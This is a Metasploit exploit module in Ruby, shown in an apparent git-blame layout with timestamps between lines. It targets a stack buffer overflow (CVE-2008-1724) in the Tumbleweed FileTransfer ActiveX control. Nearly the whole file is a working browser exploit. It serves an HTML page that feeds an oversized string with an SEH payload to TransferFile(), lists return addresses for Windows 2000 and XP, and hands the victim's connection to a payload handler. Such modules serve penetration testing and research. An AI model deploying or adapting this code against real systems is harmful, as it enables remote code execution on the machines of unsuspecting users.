2008-04-07 07:57:10 +00:00
|
|
|
##
|
|
|
|
|
# $Id$
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2008-04-07 07:57:10 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2008-04-07 07:57:10 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
include Msf::Exploit::Seh
|
2008-04-07 07:57:10 +00:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
2010-06-15 07:18:08 +00:00
|
|
|
This module exploits a stack buffer overflow in the vcst_eu.dll
|
2008-04-07 07:57:10 +00:00
|
|
|
FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
|
|
|
|
|
SecureTransport suite. By sending an overly long string to the
|
|
|
|
|
TransferFile() 'remotefile' function, an attacker may be able
|
|
|
|
|
to execute arbitrary code.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => 'patrick',
|
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2010-06-15 07:18:08 +00:00
|
|
|
[ 'CVE', '2008-1724' ],
|
|
|
|
|
[ 'OSVDB', '44252' ],
|
|
|
|
|
[ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
|
2008-04-07 07:57:10 +00:00
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1000,
|
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
# Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
|
|
|
|
|
[ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ],
|
|
|
|
|
[ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ],
|
|
|
|
|
[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
|
|
|
|
|
],
|
2010-06-15 07:18:08 +00:00
|
|
|
'DisclosureDate' => 'Apr 07 2008',
|
2008-04-07 07:57:10 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Randomize some things
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
vurl = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
vhostName = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
vlocalFile = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
vMD5 = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
|
|
# Build the exploit buffer
|
|
|
|
|
filler = rand_text_alpha(4620)
|
|
|
|
|
seh = generate_seh_payload(target.ret)
|
|
|
|
|
sploit = filler + seh
|
|
|
|
|
|
|
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
|
|
|
|
|
<script language="javascript">
|
|
|
|
|
#{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
|
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
2009-07-27 14:05:23 +00:00
|
|
|
end
|
